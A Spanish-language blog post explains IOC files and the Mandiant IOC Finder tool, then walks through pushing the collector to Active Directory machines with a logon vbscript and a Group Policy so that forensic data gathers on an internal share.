De lo que se trata al definir un fichero IOC es de buscar por ejemplo localizaciones específicas en el sistema de ficheros, registro u otras partes del SO que habitualmente sean usadas por malware, buscar rastros que pudieran haber dejado herramientas usadas por los atacantes, señales de actividad de los intrusos sobre los sistemas que indiquen movimientos laterales que muestren un comportamiento anormal del usuario…etc. Lo ideal es buscar datos muy concretos para evitar falsos positivos. En definitiva, la definición de IOCs permite a las organizaciones definir piezas de inteligencia de amenazas de una manera estandarizada. Los ficheros IOC al estar definidos bajo un mismo estándar son más fáciles de intercambiar para compartir información entre la comunidad. Así, sitios como http://iocbucket.com/, http://ioc.forensicartifacts.com/ o los propios foros de Mandiant pueden sernos de gran ayuda para encontrar determinados IOCs o compartir los que nosotros hayamos creado.
Un extracto de una fichero IOC (elaborado por AlientVault) sería por ejemplo el que muestra la siguiente figura correspondiente a la APT Red-October. Con esta plantilla y con la ayuda de IOC Finder se podría localizar indicios del Red-October en nuestras máquinas.
Con IOC Finder, a través del parámetro “collect” se recopilará un conjunto de datos (procesos, entradas de registro,etc.) en el equipo sospechoso y los irá almacenando en forma de ficheros XML (crea hasta 50) en un directorio que crea “audits” para tal fin. Así si ejecutamos en el equipo por ejemplo:
>mandiant_ioc_finder.exe collect -o /INDICADORES
Nos generará los ficheros XML correspondientes (proceso que puede tardar horas) y los copiará en la ruta /INDICADORES que le indicamos con el parámetro -o (para más información sobre los parámetros ver guía del usuario de IOC Finder). Una vez este proceso ha finalizado a través del parámetro “report” procederemos al procesamiento de esos ficheros XML por el que se buscarán los patrones de infección que queremos localizar con ayuda de los ficheros IOC de los que dispongamos o hayamos definido. Así por ejemplo si ejecutamos:
>mandiant_ioc_finder.exe report -s ./INDICADORES/audits -i FICHEROXML.ioc -t html
nos indica que la fuente de nuestros datos (-s) está en la ruta /INDICADORES/audits, que buscamos los patrones de infección definidos en FICHEROXML.ioc y que el informe de resultados nos lo muestre en formato html (-t). Un ejemplo de uno de esos informes de salida extraído de este artículo de Mandiant se muestra a continuación:
Los IOCs representan una manera eficiente y rápida para identificar y definir amenazas avanzadas que de otra forma resultarían muy complejas de evidenciar y que, en algunos casos, pasarían inadvertidas por sistemas AV o HIDS. Hay que considerar por tanto su uso para analizar equipos que muestren comportamientos extraños como por ejemplo aquellos que presentan patrones de tráfico poco comunes.
Si adquirimos soltura definiendo IOCs pueden ser de gran efectividad en el ciclo de vida de una investigación ante un incidente de seguridad.
El proceso sería el siguiente: tras una evidencia inicial de un equipo/s comprometidos se investiga vía análisis forense cual es el IOC de la intrusión y se crea. Una vez creados se despliega en nuestros sistemas o redes objetivo para buscar la existencia de este IOC en otros sitios. Si se identifican nuevos sistemas sospechosos se recolectarán estas nuevas evidencias que tras analizarlas nos ayudarán a identificar más en profundidad la intrusión, descartar falsos positivos,etc, que nos ayudarán a refinar y crear nuevos IOCs de forma que volvemos a iniciar el círculo hasta que creamos haber recopilado toda la información necesaria.
Este proceso puede ser muy lento si tenemos que ir equipo por equipo ejecutando el IOC Finder así que dependiendo de la infraestructura que haya o diseño de la red podemos pensar en automatizar este proceso ayudándonos de ciertas infraestructuras.
Por ejemplo, imaginemos que nuestras máquinas forman parte de un Active Directory (AD) por el cual podemos administrar los inicios de sesión en los equipos conectados a la red, establecer políticas por ejemplo a determinadas Unidades Organizativas (OU), grupos de usuarios, desplegar programas en muchos equipos, etc. Podríamos valernos de diversos métodos que podemos implementar con dicho AD para automatizar el proceso de recolección de IOCs en varios equipos.
Así pues, supongamos un escenario ficticio en el que tenemos un Controlador de Dominio “midominio”, del que forman parte varias OU (Departamento 1, Departamento 2, etc). Dentro de esas OU tenemos varios equipos y usuarios sobre los que podemos realizar de manera centralizada ciertas acciones (lo recomendable es tener equipos y usuarios en OU diferentes pero para comodidad de las pruebas lo he establecido así):
Supongamos por ejemplo que dentro de mi Departamento 1 se ha encontrado una máquina comprometida, la he analizado y he creado mi IOC y quiero comprobar en todas las máquinas de ese mismo departamento si hay alguna otra que presenta ese mismo IOC valiéndome del IOC Finder.
Con el AD podemos hacer, entre otras acciones, lo siguiente:
Así pues supongamos que —por poner un ejemplo— podemos crearnos un vbscript, recolector.vbs que nos llame a nuestro mandiant_ioc_finder.exe y al cual le indicamos que nos copie todos los ficheros XML resultados en una ubicación compartida a la que los usuarios/equipos lleguen y tengan permiso de escritura. Habitualmente en muchas organizaciones se puede utilizar por ejemplo el servidor del AV —al que los equipos tienen acceso para actualizaciones y similares— creando una carpeta para tal fin, yo he llamado “indicadores” a esta carpeta. Grosso modo, de manera muy simple, nuestro vbscript podría ser contener líneas similares a las siguientes:
Set WshShell = WScript.CreateObject(“WScript.Shell”) WshShell.run(“mandiant_ioc_finder.exe collect -o //10.0.0.3/indicadores”)
En este caso incluiremos el mandiant_ioc_finder.exe en la misma ubicación que recolector.vbs.
Si optamos por la opción de crear una GPO vinculada a mi OU=Departamento 1 para que recolector.vbs sea ejecutado al inicio de sesión del usuario los pasos a seguir serían los siguientes (para asignar el script al inicio/apagado del equipo los pasos son similares, he escogido por comodidad que se ejecutara al inicio de sesión del usuario):
1. Dejo mandiant_ioc_finder.exe y recolector.vbs en el recurso compartido NETLOGON de mi controlador de dominio u otra carpeta compartida de dominio.
2. Me sitúo sobre la OU sobre la que quiero aplicar la directiva en cuestión, en este caso Departamento 1, y presiono boton derecho del ratón para desplegar el cuadro de diálogo de Propiedades, en el que me dirigiré a la pestaña Directiva de grupo y pulsando en Nuevo crearé un vínculo de objeto de directiva de grupo al que le he llamado “Recolección de IOCs”:
Una vez nombrada, presionamos en Editar para su configuración:
Como vemos en la imagen anterior podemos aplicar la configuración específica sobre el equipo “Configuración del equipo”, o sobre el usuario “Configuración de usuario”. Para asignar un script al inicio de sesión del usuario, nos dirigimos a Configuración de usuario>Configuración de Windows>Secuencia de comandos(inicio de sesión/cierre de sesión) —de igual forma para asignar un script al inicio/apagado del equipo iriamos a Configuración del equipo>Configuración de Windows>Secuencia de comandos—. Una vez en este punto, elegimos en este caso la ejecución del script al inicio de sesión del usuario, y pulsamos en Agregar para cargar el/los script/s que queramos asignar al inicio:
Si pulsamos en Examinar nos lleva a la ubicación en la que tenemos que dejar nuestros ejecutables:
Y seleccionamos nuestro .vbs:
Una vez hecho esto la directiva ya estaría creada y cada vez que los usuarios iniciaran sesión en los equipos de Departamento 1 ejecutarían el recolector.vbs, con lo que en la carpeta indicadores comenzarían a llegar nuestros primeros resultados (podemos probar en un equipo de prueba que funciona forzando una actualización de las directivas con el comando gpupdate /force e iniciando sesión). Una vez en destino los ficheros podrían procesarse. Podría incluso pensarse en automatizar también este proceso.
Si no queremos aplicar una directiva de grupo podemos recurrir a asignar el script directamente como secuencia de inicio de sesión, seleccionado en nuestro AD el usuario/s que queramos, botón derecho > Propiedades y en Perfil podemos introducir directamente el script que deseamos que se ejecute al inicio de sesion de esos usuarios escogidos:
Comentar que el comportamiento de los scripts puede perfilarse mediante algunas políticas que se sitúan en el apartado Plantillas Administrativas (grupo que contiene todas las configuraciones de políticas basadas en el registro de Windows Server), por ejemplo ejecutar la secuencia de comandos de inicio de sesión de forma síncrona/asíncrona, tiempo de espera máximo para secuencias de comandos de directivas de grupo, etc.
Probablemente hayan soluciones mucho más elaboradas, lo que dependerá también de cada infraestructura, de la carga de la red (igual al inicio de sesión o arrancado del equipo la ejecución de este script ralentice mucho la máquina y haya que programar esta tarea para otra hora, o conviene hacerlo al final del día…etc, importante probarlo todo primero en PREPRODUCCIÓN y junto a los administradores y expertos en AD de la organización), del objetivo de los investigadores, del administrador del dominio, etc. En cualquier caso mi objetivo es dar unas pinceladas genéricas de como podría pensar hacerse este despliegue en un AD para automatizar este proceso. Agradecería cualquier aportación o sugerencia al respecto.
Nota: documentación sobre implementación y gestión de AD hay mucha y muy variada, con grandes libros y foros de ayuda ya que es una tecnología muy extendida, como por ejemplo este PDF sobre Administración avanzada de Windows Server 2008 R2. Yo realicé las pruebas implantando un controlador de dominio sobre un Windows Server 2003 y con Windows 7 como equipos de usuarios.
